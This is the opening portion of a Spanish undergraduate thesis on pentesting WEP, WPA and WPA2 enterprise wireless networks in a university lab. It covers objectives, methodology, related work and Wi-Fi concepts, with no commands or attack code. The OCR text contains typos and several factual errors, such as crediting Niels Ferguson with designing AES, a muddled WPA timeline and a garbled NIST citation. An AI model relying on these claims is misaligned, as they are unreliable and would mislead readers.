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RESUMEN

Este estudio evalua la efectividad de los protocolos de autenticacion y cifrado
de una red inaldmbrica que se adhiera a la normativa 802.11 b/g/n. Esto se logra
mediante el andlisis de vulnerabilidades y pruebas de pentesting realizadas en un
ambiente empresarial. Basado en, la metodologia NIST SP 800-15, las diferentes
técnicas de escaneo de puertos y dispositivos, andlisis de trafico y ataques de inyeccion
que fueron establecidos en la red empresarial con cifrados WEP, WPA y WPAZ2, cada
uno de ellos evaluado por su resistencia frente a amenazas. Estos resultados demuestran
que el protocolo WEP, WPA y WPAZ2 son inseguros, por esta razon se sugiere usar
WPA3 para tener un nivel de seguridad méas avanzado en la red. Ademas, se
identificaron riesgos de puertos abiertos, en el cual se recomienda establecer controles
de acceso, segmentacién de red, actualizacion de protocolos para mantener una

estructura fuerte en esta clase de entornos.

Palabras clave: Autenticacién, Cifrado, Pentesting
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ABSTRACT

This study evaluates the effectiveness of authentication and encryption
protocols of a wireless network adhering to the 802.11 b/g/n standard. This is achieved
through wvulnerability analysis and pentesting tests performed in an enterprise
environment. Based on, NIST SP 800-15 methodology, different port and device
scanning techniques, traffic analysis and injection attacks that were established on the
enterprise network with WEP, WPA and WPAZ2 encryptions, each evaluated for their
resistance against threats. These results show that the WEP, WPA and WPAZ2 protocols
are insecure, for this reason it is suggested to use WPA3 to have a more advanced level
of security in the network. In addition, open port risks were identified, in which it is
recommended to establish access controls, network segmentation, protocol updates to
maintain a strong structure in this kind of environment.

Keywords: Authentication, Encryption, Pentesting
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INTRODUCCION

Actualmente, la conectividad inalambrica es una infraestructura fundamental
en el ambito empresarial, facilitando la comunicacion instantanea y el intercambio
continuo de datos entre maltiples dispositivos y usuarios. Esta dependencia de las redes
inalambricas ha traido consigo nuevos desafios en la seguridad de la informacion,
debido a la vulnerabilidad inherente de estos sistemas al operar en un medio abierto,
sin barreras fisicas que impidan la interceptacion de datos. Dado que las sefiales pueden
ser captadas sin acceso directo a la infraestructura de red, las organizaciones enfrentan
un riesgo elevado de sufrir ciberataques, los cuales pueden comprometer tanto la
confidencialidad como la autenticidad de sus datos criticos y la continuidad de sus
operaciones [1].

El rapido avance de las tecnologias inaldmbricas, sumado al aumento en el uso
de dispositivos moviles, ha impulsado a las empresas a implementar estandares de red
avanzados como los protocolos 802.11 b/g/n, optan por mecanismos de seguridad a
través de protocolos como WEP, WPA y WPA2. Sin embargo, en estos 3 tipos de
estandares existen debilidades y pone en riesgo a que los atacantes exploten y accedan
a informacion confidencial, comprometiendo de esta manera las bases de la red.
Teniendo en cuenta que en el entorno empresarial este tipo de seguridad es importante
ya que disponen de alta sensibilidad, es por eso que se requiere de estricta privacidad.
Es importante mencionar que las vulnerabilidades en el entorno ya antes mencionado,
aumenta por no ser sélido y no contar con actualizaciones frecuentemente, el cual deja
expuesto a la red ante infracciones e intervenciones de datos[2].

Actualmente, la ciberseguridad ha progresado y se han desarrollado técnicas
sofisticadas, en particular las pruebas de penetracion o pentesting, que se ocupa de
valorar la seguridad de las redes a partir de ataques efectuados en ambientes de prueba,
lo que contribuye a comprobar las falencias de los protocolos de cifrado vy
autenticacion. Mediante las pruebas de pentesting se consigue robustecer la seguridad

de una entidad, disminuyendo la pérdida de datos y gestionando el acceso no permitido

[3].
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La administracion de la ciberseguridad propone el analisis profundo de
debilidades y la valoracion de técnicas de mitigacion ante riesgos criticos como el
control de acceso, segmentacion de la red y autenticacion basada en certificados, estas
consideraciones mejoran la resistencia de la red ante posibles infracciones, cabe
mencionar que es efectivo si la implementacion es correcta y se mantiene en
actualizacién de ciberseguridad constante. A medida que pasan los afios estas los
atacantes evolucionan afectando y poniendo en riesgo las redes, por lo que se requiere
usar metodologias que optan posturas activas y preventivas [4].

Este proyecto se centra en el andlisis de las redes empresariales, el cual se
realiza un anélisis detallado de las vulnerabilidades, basado en la metodologia de
pruebas de pentesting NIST SP 800-15, a su vez la evaluacion del cifrado y
autenticacion de los protocolos que ayudan a optimizar la seguridad de la red. De tal
forma que, al realizar la evaluacion de los protocolos actuales y las mitigaciones en
base a estudios realizados, no solo se logra receptar los puntos débiles sino mas bien
proponer mejoras y disefiar estrategias a largo plazo. De este modo el estudio realizado
no solo muestra la practica, sino mas bien propone mejoras para este tipo de entornos

que ayudan en el fortalecimiento ante situaciones cibernéticas emergentes.
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CAPITULO |

1.FUNDAMENTACION
1.1. Antecedentes

En la actualidad las nuevas tecnologias son las que gobiernan en mundo, por lo
que estamos expuestos al robo de datos, es por ello que se debe brindar seguridad en
las redes, y a su vez proteger ante cualquier tipo de amenaza.

Las redes inalambricas se comunican por medio no guiados a través de ondas
electromagnéticas, en donde la transmision que realizan es mediante antenas, cabe
recalcar que estas redes no solo se emplean para realizar conexiones de datos, sino
también se usan para emitir sefiales ya sea de television, telefonia, seguridad, entre
otros.

En los afios 90 se dio a conocer las redes inalambricas, las mismas no tenian un
sistema de seguridad, de tal manera que se cred el protocolo WEP (Wired Equivalent
Privacy), debido a que el medio de transmision es el aire y que cada paquete era
expuesto a cualquier estacion [5]. Este protocolo brinda la proteccion de cada paguete
con una clave y que solo los usuarios con dicha clave puedan leer los paquetes
enviados. Este protocolo fue publicado en 1997 por el estandar IEEE 802.11, teniendo
como propasito brindar seguridad de la red como si esa fuese cableada, durante el
tiempo de este protocolo ha sido expuesto a varios ataques, de tal manera que este
protocolo fue declarado como inseguro, en el afio 2004 el estandar IEE 802.11i dio a
conocer el protocolo WPA en donde proporcionaba mayor seguridad y mejores
mecanismos de autenticacion que WEP, en el afio 2004 se dio a conocer el protocolo
WPAZ2 en donde utilizaba el cifrado AES y a su vez ofrecia una mayor seguridad,
siendo estos 2 como los més seguros[6]

Las pruebas pentesting o también denominadas pruebas de penetracion hacen
referencia a técnicas de hacking ético que tienen como finalidad detectar
vulnerabilidades que afecten a la red. [7]Lo que le caracteriza a este método es que
permite replicar distintos tipos de ataques en donde se pueda efectuar un mejor analisis
y poder observar el tipo de vulnerabilidades a los que esta expuesto. Estas pruebas se

pueden realizar mediante dos enfoques, ya sean estos externos como internos.[8]
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La seguridad de las redes inalambricas se establecio gracias a los investigadores
y expertos de la seguridad informatica como son: Bruce Schneier, Niels Ferguson quien
fue el que disefio el algoritmo de cifrado AES.[9]

En la actualidad las redes inalambricas son usadas frecuentemente, por lo tanto,
deben ser un medio seguro de conectividad. Este tipo de pruebas son utilizados en
varios entornos, incluyendo empresas, organizaciones gubernamentales y entidades
militares, brindando asi proteccion ante posibles amenazas.[10]

1.2. Descripcion del proyecto

La presente propuesta esta basado en un analisis exhaustivo con respecto a la
seguridad de redes inalambricas que se encuentran bajo la normativa 802.11 b/g/n en
una red empresarial. EI cual se realizara mediante pruebas de penetracion y analisis de
las vulnerabilidades referente a los métodos de autenticacion y cifrado, de tal forma
que se consideran amenazas Yy riesgos en el que se encuentra dicha red. La primera
etapa consta de realizar la red empresarial en el laboratorio de telecomunicaciones en
la universidad estatal Peninsula de Santa Elena, dicha red es la base y el entorno
controlado para la realizacion de las pruebas de intrusion.

Se llevara a cabo el disefio fisico y légico de la infraestructura de la red,
empleando equipos disponibles como switches, AP, routers y otros dispositivos finales.

La segunda etapa se llevard a cabo un escaneo detallado de las redes
inalambricas, utilizando herramientas especializadas para capturar y analizar el trafico
que fluye a través de ellas. Este analisis permitira identificar servicios activos en la red,
como dispositivos conectados, y puntos de acceso, de igual manera los protocolos de
comunicacion utilizados. Luego de esto se determinara las posibles vulnerabilidades
gue puedan ser explotadas por atacantes ya sea configuraciones inseguras, servicios
mal protegidos o cifrados débiles en la transmision de datos. Esta parte del proceso se
incluira tanto tréfico de control como de datos, proporcionando una vision integral de
los puntos débiles que pueden comprometer la seguridad de la red.

Posteriormente, estos hallazgos se emplearan para disefiar pruebas de

penetracion especificas que evallen la efectividad de las contramedidas de seguridad
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implementadas, haciendo uso del S.O Kali Linux ya que consta de varias herramientas
que permitiran realizar un analisis profundo de la red.
1.3. Objetivos del proyecto
1.3.1.0Objetivo general

Evaluar la efectividad de autenticacion y el cifrado de redes inalambricas
mediante andlisis de vulnerabilidades y prueba de penetracion, teniendo como finalidad
la identificacion de los riesgos y debilidades de entornos empresariales y plantear
soluciones para mejorar su seguridad.

1.3.2.0bjetivos especificos

Realizar un andlisis de vulnerabilidades de redes inaldmbricas empresariales,
utilizando técnicas como el escaneo de puertos, analisis de trafico y ataques de
inyeccion de paquetes.

Evaluar la efectividad de los protocolos de cifrado y autenticacion mas
comUnmente utilizados en redes inalambricas WEP, WPA y WPAZ2.

Analizar las técnicas de mitigacion de riesgos utilizadas en redes inalambricas
empresariales, como el control de acceso, la segmentacion de redes y la autenticacion
basada en certificados.

Desarrollar estrategias efectivas para fortalecer la seguridad de las redes
inalambricas empresariales, incluyendo disefio de medidas avanzadas de seguridad y
la actualizacién continua de los protocolos de autenticacion y cifrado.

1.4. Justificacion

Las redes inaldmbricas se comunican a través del medio, existen entornos en
los cuales los paquetes transmitidos son capturados por personas que hacen mal uso de
la informacion obtenida, uno de ellos son las redes empresariales ya que se debe tener
alta seguridad por el contenido de informacidn que poseen, por esta razon, es necesario
investigar y aplicar técnicas avanzadas que fortalezcan la autenticidad y seguridad de
las redes inalambricas.

Este estudio explora los principios y técnicas de seguridad en redes
inalambricas, haciendo uso de las pruebas de penetracion ya que estas permiten evaluar

y simular ataques en un entorno real con los permisos necesarios para evitar
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inconvenientes legales, se hace uso del pentesting para identificar los riesgos que
existen en la red como los puntos fragiles y a su vez proponer metodologias necesarias
para tener una red segura.

Existen entornos empresariales en donde realizar andlisis en la red, puede ser
complicado ya sea en la identificacion y evaluacion de los factores por el cual esta
conformada como los mdltiples usuarios y host que se encuentran conectados.

Las empresas que se manejan bajo la normativa 802.11 b/g/n, con cifrado WEP,
WPA y WPA2, se encuentran en riesgos por las debilidades que presentan, estas
exponen la informacion de los usuarios que se encuentran conectados.

Esta tesis realiza un analisis en donde se verificard la resistencia de los
protocolos y a su vez los ataques en el que se encuentran expuestos, evaluando de esta
manera la efectividad de los protocolos cifrado y autenticidad, haciendo uso de
herramientas especializadas en este tipo de estudio y metodologias que ayudaran en el
escaneo de puertos, servicios y host, referente también en los ataques de inyeccion para
los paquetes que permitira obtener un analisis fructifero de seguridad y a su vez plantear
medidas estrictas para mitigar y enfrentar inminencias en este espacio empresarial.

1.5.Alcance del proyecto

El proyecto planteado se centra en la identificacion de vulnerabilidades del
entorno empresarial, adicionalmente se incluye un analisis profundo de los métodos de
autenticacion y cifrado, que se realizaran a base de pruebas de pentesting, que ayuden
a fortalecer la seguridad de esta red.

Primero, se llevara a cabo un andlisis de penetracion en las redes inalambricas
en un ambiente controlado con el objetivo de estudiar las vulnerabilidades de forma
intensiva. Esta técnica incluira el uso de herramientas y procedimientos de escaneo
tales como la exploracion de puertos, el analisis de trafico.

En segundo lugar, se realizaran inyecciones por paquetes y 3 ataques realizados
con el aursinc Wi-Fi deauther, de tal manera que estas estrategias permitiran identificar
fallas estructurales y operativas que podrian amenazar la seguridad de las redes y otros

tipos de ataques, también se incluira en este estudio el anélisis de los protocolos WEP,
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WPA y WPA2, cuan vulnerable es cada uno y los cambios en las contrasefias utilizadas
para autenticarse en diferentes redes, asi como el cifrado wi-fi mas comun.

Finalmente, se abordara en el presente estudio los diferentes métodos de
prevencion que se consideran importantes en redes empresariales, como los controles
de acceso, division de redes o los ataques de inmunidad, luego de establecer esta
proteccion en las medidas de seguridad se mitigaran los riesgos de intrusiones en
primer lugar. Este estudio a detalle, acompafiado de propuestas concretas, mejorara la
capacidad de defensa de las redes empresariales ante amenazas tan robustas y
complejas como el ataque cibernético.

1.6. Metodologia

El objetivo de esta propuesta es llevar a cabo un analisis exhaustivo en la red
empresarial, que se encuentra estructurado en diferentes secciones como es el escaneo
de redes, pruebas de penetracion, evaluacion de medidas de mitigacion de riesgos, en
donde se realizara propuestas de mejora, de tal manera que los estudios planteados son:

Investigacion aplicada: Para poder desarrollar la parte practica de este
proyecto se debe tener conocimientos relacionados con los protocolos de seguridad,
andlisis de vulnerabilidades en situaciones reales, este tipo de investigacion permite
evaluar detalladamente cada resultado de las pruebas de penetracion a realizar y a su
vez ayuda a obtener mejoras en el &mbito practico.

Investigacion experimental: Es de suma importancia el enfoque experimental
ya que se basa en la manipulacion y el control de las diferentes variables que se
encuentran en el entorno controlado, como es el laboratorio de telecomunicaciones, es
ideal para realizar las diferentes pruebas y asi poder obtener un andlisis de cada
comportamiento de los mecanismos de seguridad. Ademas, implica la ejecucion de las
diferentes pruebas de vulnerabilidades y ataques en la red empresarial siguiendo la
normativa 802.11 b/g/n.

Investigacion descriptiva: Se centra en describir el estado actual de la red
empresarial, las configuraciones de seguridad y las vulnerabilidades que se presenta en
cada estandar. Este tipo de investigacion es necesario ya que nos accede a

contextualizar los resultados de las pruebas, describiendo de manera detallada las
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vulnerabilidades identificadas, de igual manera las caracteristicas de las redes
evaluadas.

Investigacion exploratoria: Es importante ya que busca profundizar en areas
poco conocidas, como es el caso de autenticacion, especialmente cuando se trata de la
identificacion de nuevas vulnerabilidades en estandares, su implementacién ayudara a
descubrir posibles fallos 0 més bien brindar mejoras en la implementacion.

1.7.Resultados esperados.

Identificar las vulnerabilidades y debilidades que posee una red inalambrica, a
su vez determinar si existen puertos abiertos y servicios que se encuentren expuestos
ya que estos podrian ser punto de entrada de paquetes.

Obtener un analisis detallado de sobre el trafico de la red, de tal manera que se
detectarian patrones sospechosos o de comportamiento anémalo.

Restriccion de acceso no autorizado en base a las politicas y controles
establecidos, seguido de su respectivo analisis de segmentacién ya que esta va a
prevenir la propagacion de amenazas.

Propuestas de medidas de seguridad, como pueden ser monitoreo de red en
donde se detectaran actividades sospechosas. Establecer sugerencias en donde se le
indica a los usuarios sobre la seguridad de red y los riesgos a los que estan expuestos.

1.8.Conclusiones generales

Las herramientas Aircrack-ng, nmap son de gran utilidad, ya que mediante ellas
se podran conocer las caracteristicas, fortalezas y debilidades del acceso y de
dispositivos conectados a la red inalambrica, y a su vez se comprobara la efectividad
de los protocolos de autenticacion.

El andlisis de vulnerabilidades mediante técnicas como escaneo de puertos,
analisis de trafico y ataques de inyeccion de paquetes nos permitira identificar posibles
vulnerabilidades en la red inalambrica empresarial, incluyendo a su vez puertos
abiertos, el trafico sin cifrar puede ser interceptado y los paquetes pueden ser expuestos

alared.
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La implementacion una solucion de monitoreo de red permite detectar
actividades sospechosas y ataques en tiempo real, de tal manera que se evitaria
amenazas antes de que ocurran dafos irreversibles.

1.9.Recomendaciones

De acuerdo con el equipo a utilizar se debe familiarizar con el dispositivo,
comprender el funcionamiento del equipo para ser usado correctamente y hacer un buen
analisis.

Es de suma importancia trabajar con dispositivos que cuenten con los ultimos
parches de seguridad, asi como también su actualizacion ya que, si estas 2 condiciones
se cumplen, las vulnerabilidades a las que esta expuesta son muy bajas.

Utilizar protocolos de cifrado de fuentes, cambiar las contrasefias
predeterminadas y deshabilitar aquellos servicios que no se usan, hacen una
configuracion segura.

Evaluar frecuentemente las medidas de seguridad implementadas.
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CAPITULO I
2.MARCO REFERENCIAL

En esta seccion se presentan investigaciones, donde se expone el contexto de la
propuesta orientada a las vulnerabilidades y pruebas de penetracién para el anlisis de
la red empresarial simulada en el laboratorio de telecomunicaciones.

2.1.Marco teorico.

Revisando la informacion bibliografica que poseen varios trabajos de algunas
universidades, se plantea los siguientes analisis:

En el proyecto titulado: Aplicacion de hacking ético para la determinacién de
amenazas, riesgos y vulnerabilidades en la red de la universidad estatal del sur de
Manabi [11], elaborada por un estudiante de la universidad estatal del sur de Manabi,
concluye que:

Identificaron y realizaron el respectivo anlisis con relacion a las principales
técnicas de hacking ético, las mismas que aplicaron a cabalidad en el desarrollo
investigativo, haciendo las pruebas necesarias para asi poder evaluar el entorno de la
red en un procesamiento necesario, también se seleccionaron dos instrumentos de
prueba con el proposito de llevar a cabo el anélisis de la red y la determinacion de
amenazas, teniendo en cuenta los riesgos y vulnerabilidades detectadas [11].

En el proyecto titulado: analisis de vulnerabilidades de redes inalambricas para
evitar la inseguridad de la informacion de los usuarios en el laboratorio de
telecomunicaciones de la carrera de ingenieria en computacion y redes [12]. Se analiz6
que:

La vulnerabilidad de las redes inalambricas es alta, de tal manera que es dificil
evitar el acceso fisico a ellas. Esta red esta expuesta a 2 tipo de redes, pasivo y activo,
esto nos quiere decir que los administradores de la red tengan el respectivo
conocimiento para poder actuar de manera correcta [12].

El autor utiliza técnicas de hacking ético para un buen analisis de las redes
inalambricas en el laboratorio de telecomunicaciones, las herramientas de escaneo y
pruebas de penetracion también se aplican ya que mediante ellas se identifican las
posibles debilidades en la configuracion de la red [12].
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Luego de haber detectado las vulnerabilidades, se establecen medidas y
recomendaciones para de esta manera poder mitigar los riesgos y obtener una red
inalambrica segura [12].

Una vez identificadas las vulnerabilidades, se propone una serie de medidas y
recomendaciones para mitigar los riesgos y fortalecer la seguridad de las redes
inaldmbricas. Este proyecto tiene como finalidad proteger informacion sensible de los
usuarios que hacen uso de esta red, para de esta manera evitar los famosos ataques
cibernéticos y filtracién de datos.

En el proyecto titulado: Analisis de Vulnerabilidades de la Red Inalambrica
para Mitigar la Inseguridad de Ataques Informaticos [13]. Se concluye que:

El autor establece como objetivo principal mitigar los riesgos de ataques
informaticos, a su vez realiza las examinaciones de las redes inalambricas, e identifica
las posibles debilidades en la configuracion y autenticacion, etc [13].

Las pruebas de penetracion realizadas presentan distintas simulaciones en
donde el atacante intenta hacer vulnerable la red, una vez establecido esto, el autor
fortalece la red a través de medidas de mitigacién, mismas que incluyen
implementacién de protocolos de seguridad mas robustos, actualizacion del firmware,
encriptacion, politica de autenticacion, entre otras acciones que permiten brindar una
red segura [13].

En el proyecto titulado: Andlisis de Vulnerabilidades de Redes Inalambricas
Domeésticas utilizando Pentesting en Tungurahua [14], realizada en la universidad
Técnica de Ambato [14]. Se concluye lo siguiente:

El siguiente estudio esta centrado en el analisis de vulnerabilidades presentes
en las redes inaldmbricas domesticas ubicado en la provincia de Tungurahua — Ecuador,
el mismo que fue basado en las técnicas de pentesting [14].

La autora empleo metodologias y técnicas de pentesting para lograr sus
objetivos, las mismas que incluyen escaneo de redes, pruebas de penetracion y
explotacion controlada de vulnerabilidades. En el proceso de pruebas, se examinaron
puntos criticos de la seguridad de las redes, una de ellas es la configuracion de los

routers, la autenticacion, el cifrado, etc. Buscando asi de esta manera los puntos
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vulnerables. Una vez cumplido los objetivos, se plantea distintas recomendaciones,
entre ellas la actualizacion del firmware, la seguridad de las contrasefias, entre otras
medidas [14].

En el proyecto titulado “Analisis de Trafico de Datos en la Capa de Enlace de
Redes LAN, para la Deteccion de Posibles Ataques o Intrusiones sobre Tecnologias
Ethernet y Wi-Fi 802.11 en la Carrera de Ingenieria en Sistemas Computacionales de
la Universidad Estatal del Sur de Manabi”, desarrollada en la universidad estatal del
sur de Manabi, se concluye que:

Este documento esta basado en el estudio y anélisis de trafico de datos en redes
locales, esencialmente en la tecnologia Ethernet y Wifi 802.11, teniendo como objetivo
detectar paquetes atacantes [15].

El autor se centra en la capa de enlace de la red, en donde se transmiten los
paquetes de datos, obteniendo asi un andlisis efectivo del trafico de estos, identificando
patrones, comportamientos andmalos que indican ataques contra la red [15].

Utilizan herramientas y técnicas que ayuden al andlisis del trafico en tiempo
real, detectando sefiales sospechosas, el autor recomienda fortalecer la proteccién de
las redes locales, a su vez se puede implementar configuraciones de seguridad
adicionales y actualizaciones del firmware [15].

2.2. Marco conceptual

En redes inalambricas, una estacion STA, se define como cualquier dispositivo
que posea la capacidad de conectarse y operar en el medio inalambrico. Este adjetivo
abarca un gran namero de dispositivos, que van desde computadoras personales (PC),
laptops, asistentes digitales personales (PDA) y teléfonos mdviles, hasta otros equipos
electronicos habilitados para la comunicacion inalambrica, cada una de estas estaciones
es un punto en el mapa de la red y es capaz de enviar y recibir datos a través de las
ondas de radio que transmiten los estandares de comunicaciones inalambricas, tales
como los especificados en la normativa IEEE 802.11. Por lo tanto, cada dispositivo es
capaz de conectar con los deméas nodos de lared y, a su vez, de crear una infraestructura
de comunicacion eficaz y dinamica. Una STA es fundamental para la operacion de una

red, ya que cada dispositivo en el sistema se considera parte de ella, es por eso que
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estas estaciones normalmente estan sometidas a los sistemas de control de acceso y
autenticacion, los cuales validan que la transmision de sefiales sea segura y que solo
aparatos escogidos tengan acceso al sistema[16].

Access Point- AP: Son dispositivos que ayudan en la conexion de internet, que
se encuentran conectados ya sea entre le router o switch, tienen como funcion abarcar
mayor cobertura en la zona, logrando de esta manera que los dispositivos terminales
como celulares, laptops, tablets, impresoras, accedan a Internet o a otros recursos
dentro de la red, extendiendo la funcionalidad de una red cableada a aquellos que se
comunican sin cables [17].

Este dispositivo desempefia un papel importante en la estructura de una red
inalambrica, ya que proporciona un area de cobertura denominada "punto de acceso”,
dicha cobertura permite a los usuarios moverse libremente dentro de su rango mientras
mantienen una conexion estable y continua con la red [17].

Hoy en dia a estos dispositivos son utilizados en distintos entornos como los
hogares, las oficinas, lugares en donde necesiten establecer conexién en zonas mas
lejanas, también es usado en internet de las cosas, ya que facilita la conexion de
maltiples dispositivos terminales, logrando de esta manera un esparcimiento en la red
[18].

El punto de acceso no solo se centra en expandir y proporcionar el servicio de
internet, sino que también ayuda en el &mbito de la seguridad ya que a base de las
configuraciones que este equipo posee, se puede reducir los riesgos y a su vez se puede
establecer una lista para que las personas no autorizadas se conecten [18].

En redes empresariales, esto se complementa con el uso de técnicas como la
segmentacion de redes y la autenticacion basada en certificados, que fortalecen adn
mas la seguridad [18].

Un BSS (Basic Service Set): Es la unidad minima de una red inalambrica
instaurada bajo el estandar IEEE 802.11. Como se mencion0 anteriormente, consta de
un punto de acceso, que actia como el nodo central, y todas las estaciones que se
asocian, este elemento tiene la responsabilidad de gestionar y controlar el acceso al

medio inalambrico, asimismo, se encarga de regular la comunicacion entre las
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estaciones y la red cableada a la cual el punto de acceso esta asociado. Un BSS bésico,
consta de un Unico punto de acceso y de una sola estacién, de tal manera que se asocia
con el AP para poder enviar y recibir datos para asi poder acceder a Internet. Todos los
dispositivos que forman parte de este conjunto ya sean computadoras, celulares o
tablets deben comunicarse a través del AP si quieren enviar o recibir informacion a otro
dispositivo en lared o si, por el contrario, se quieren conectar a un recurso externo [19].

Un Conjunto de Servicios Extendido (ESS), es una estructura mas compleja
dentro de las redes inalambricas que consiste en interconectar uno 0 mas Conjuntos de
Servicios Basicos, 0 BSS, entre si. El principal proposito del ESS es unir varias areas
de cobertura de puntos de acceso (AP) diferentes en una sola red, de manera que, para
cualquier estacion asociada a uno de esos BSS, el ESS aparezca como un Unico BSS.
Esta configuracion en particular es necesaria en instalaciones que necesitan cubrir areas
grandes como edificios corporativos, instalaciones universitarias 0 centros
comerciales, el ESS permite que las estaciones se muevan entre diferentes areas de
cobertura roaming sin perder la conectividad, ya que para ellas toda la red es un tnico
BSS, sin importar a qué AP especificamente esté asociada en un tiempo dado. La capa
de control de enlace l6gico, o LLC, se encarga de este nivel de abstraccion, asegurando
que la transicion entre BSS sea transparente para el usuario. En términos mas practicos,
el ESS permite expandir el alcance y capacidad de una red inaldmbrica al vincular
multiples AP entre si, conectandolos a toda una red a través de cableado o un Sistema
de Distribucion, o DS. La utilizacidn de varios AP permite una mejor redistribucion de
trafico y por ende una experiencia mas estable para el usuario en redes que pueden
experimentar alta demanda de datos [20].

En cambio, cuando todas las estaciones de un BSS son portatiles y no estan
vinculadas a una red de cables, el grupo de servicios basicos se conoce como Conjunto
de Servicios Basicos Independiente (IBSS), de tal forma que este tipo de red se
denomina red ad hoc, puesto que no requiere de un punto de acceso para administrar
las conexiones, pero hay que tener en cuenta que en un IBSS, las estaciones establecen
una comunicacion directa entre ellas, lo que suprime la necesidad de una infraestructura

central, no obstante, esta autonomia también tiene restricciones, dado que los IBSS no
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pueden vincularse a otros BSS ni a redes de cables, lo que los convierte en mas
apropiados para situaciones temporales o de emergencia, donde es imprescindible una
conexion rapida y sin infraestructura [16].

Por otro lado, el Sistema de Distribucion (DS) es el dispositivo que facilita que
distintos puntos de acceso en una red compartan tramas entre ellos o con redes de
cableado cuando estas se encuentran en funcionamiento. Pese a que el estandar IEEE
802.11 no define una tecnologia especifica para el DS, en la mayoria de las situaciones
se utiliza Ethernet por cable como tecnologia de red principal, gracias a su confiabilidad
y rapidez. ElI DS no debe ser necesariamente una propia red, sino un sistema que
promueve la comunicacion entre distintos puntos de la red inaldmbrica, facilitando la
interoperabilidad y el intercambio de datos de forma eficaz. Este método modular es
esencial en redes comerciales y corporativas donde se necesita escalabilidad y
adaptabilidad [19].

2.2.1.Redes inaldmbricas

Las redes inalambricas, a su vez, conocidas como redes Wireless, son sistemas
que no requieren cables fisicos para enviar datos entre los diferentes dispositivos, lo
que hace que los usuarios se sientan mas comodos y mdviles, por ende, las redes se
basan en canales de transmision no dirigidos: las ondas electromagnéticas transmiten
datos, lo que significa que los dispositivos se conectan por conexion aérea, no por
conexiones de cable. [21].

La aparicién de las redes inaldmbricas tiene sus raices en los afios 70, cuando
se logro establecer una red local sin cables, la reconocida ALOHA, ya que este sistema
consiguié vincular siete ordenadores situados en cuatro islas, manteniendo una
comunicacion radial tras una computadora central, de tal manera que no solo significo
un progreso palpable en el avance de las redes inalambricas, sino que también brindo
conocimientos valiosos sobre la administracion de las redes inalambricas [21].

Este avance mostro que la comunicacion sin cables era una realidad factible y
marco el inicio de una nueva era en las telecomunicaciones [21].

En la década de los 80, las computadoras personales contaban con redes

inalambricas que pronto fueron comercializadas a nivel mundial, asi como también se
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tomo la posibilidad de emplear transceptores infrarrojos para la transmision de datos,
no obstante, tenian severas limitaciones, ya que las ondas infrarrojas no podian
establecer comunicacion si se encontraban objetos solidos en el medio y por lo tanto
Su uso en situaciones que requerian movilidad era problematico, de tal modo que
debido a estos problemas, las redes no lograron afianzarse, pero fueron de gran ayuda
ya que aportaron relacionadamente grandes ensefianzas [21].

La década de los 90 represento un hito en el progreso de las redes inalambricas,
debido al avance de chips mas avanzados que posibilitaron la utilizacion de las ondas
de radio como principal via de transmision, en contraposicion a los infrarrojos, las
ondas de radio poseen la habilidad de superar barreras fisicas como paredes, lo que
increment6 significativamente la eficiencia y el alcance de las redes inalambricas, de
tal modo que este avance se adecuo a la demanda creciente de vincular dispositivos en
contextos diversos como oficinas, viviendas y areas publicas, fomentando una
demanda creciente de soluciones inalambricas. [21].

Durante la década de los 90, se implementé el estdndar IEEE 802.11,
estableciendo asi un marco normativo para las comunicaciones sin cables,
estableciendo los cimientos para la evolucion de las redes Wi-Fi actuales. Este estandar
establece los protocolos y parametros requeridos para la transmisién de datos a través
de ondas de radio, lo que promueve la compatibilidad entre dispositivos de diferentes
fabricantes. La puesta en marcha de esta estandarizacion asegurdé la interoperabilidad
y, a su vez, posibilitd la utilizacion en masa de redes inalambricas en varios sectores
[21].

Desde entonces, el estandar ha mejorado asi como se ha visto en el momento
que se introdujo el 802.11b, que proveyé aumentos en la velocidad que sus
predecesores, mientras que las clasificaciones como 802.11g y 802.11n proporcionaron
mejores particularidades al expandir la cobertura y la capacidad brindada por Wi-Fi, el
estandar fue seguido por 802.11ac y 802.11ax, conocidos popularmente como Wifi 5
y Wifi 6, y estos se ofrecieron igualan el ancho de banda al tiempo que reducen la

latencia y consiguen controlar maltiples dispositivos a la vez [22].
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Importancia de las redes inalambricas

Las redes inalambricas son importantes en varios aspectos de nuestra sociedad,
estas son importantes porque nos brindan conectividad, movilidad y acceso a internet
en cualquier lugar facilitando el acceso a informacion y herramientas, a su vez
generando espacios para el trabajo, proporcionando asi una mayor flexibilidad de tal
manera que las personas puedan acceder a dicha informacion desde cualquier alcance
de la red. Gracias a las redes inalambricas es posible implementar el internet de las
cosas, realizando comunicacién con distintos dispositivos que tengan acceso a internet.
Sin embargo, la implementacién debe ser impulsada por la comunidad ya que en cierta
parte es responsable de mantener una infraestructura adecuada permitiéndole asi
construir su propio servicio y distintas planificaciones [23].

Wifi, es una de las tecnologias que se basan en las redes inalambricas, hoy en
dia el gobierno pone trabas ante la implementacion de aquello, es por eso que se pide
que se desarrolle estructuras para que las comunidades puedan implementar, manipular
y usar, todo esto se debe a la regulacion de los servicios de telecomunicaciones [23].

Las redes inalambricas se utilizan con frecuencia para poder distinguir una
conexidén de nodos por medio de sefiales electromagnéticas sin tener que usar un cable
para hacerlo a través de puertos, lo que tiene una excelente recepcion. Los dispositivos
informaticos logren conectarse mediante ondas electromagnéticas a través de una red
inalambrica sin que necesite estar conectado de manera fisica [24].

El espectro radioeléctrico se utiliza para poder transferir datos. Una de las
grandes ventajas es la disminucién de costos, ya que no es obligatorio invertir en la
conexidn fisica entre los nodos, esto indica que no se necesita algin tipo de cableado.
Por ende, el usuario puede permanecer conectado con tal de que esté dentro de la sefial
de la red inalambrica gracias a la red inalambrica, lo que le permite brindad una buena
movilidad [24].

Las redes inaldmbricas cumplen una variedad de funciones. Pueden ser
utilizadas para proporcionar acceso a los datos corporativos desde ubicaciones remotas,

pero en algunos casos se utilizan en lugar de las redes cableadas [23].
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Los dispositivos remotos pueden conectarse sin problemas a través de redes
inaldmbricas, independientemente de si estdn a metros o kilometros de distancia. Se
puede hacer sin que se rompan paredes para pasar cables o instalar conectores. Esto ha
acelerado el uso de esta tecnologia [24].

Clasificacion de las redes inaldmbricas.

Las redes se pueden dividir por cuatro grupos dependiendo el area de aplicacion
y el alcance de la sefial, como se muestra en la figura 1. Estas categorias son: WPAN
(redes inalambricas de area personal), WLAN (redes inaldmbricas de area local),
WMAN (redes inalambricas de area), WWAN (redes inaldmbricas de area amplia)
[25].

WPAN

Bluetooth, il

GSM, GPRS,
UMTS, LTE

IrDA, ZigBee,

100 m

Distancia

Figura 1: Clasificacion Redes Inalambricas

Fuente: Elaborado por autor

Preexisten dos categorias principales de las redes inalambricas, las cuales son
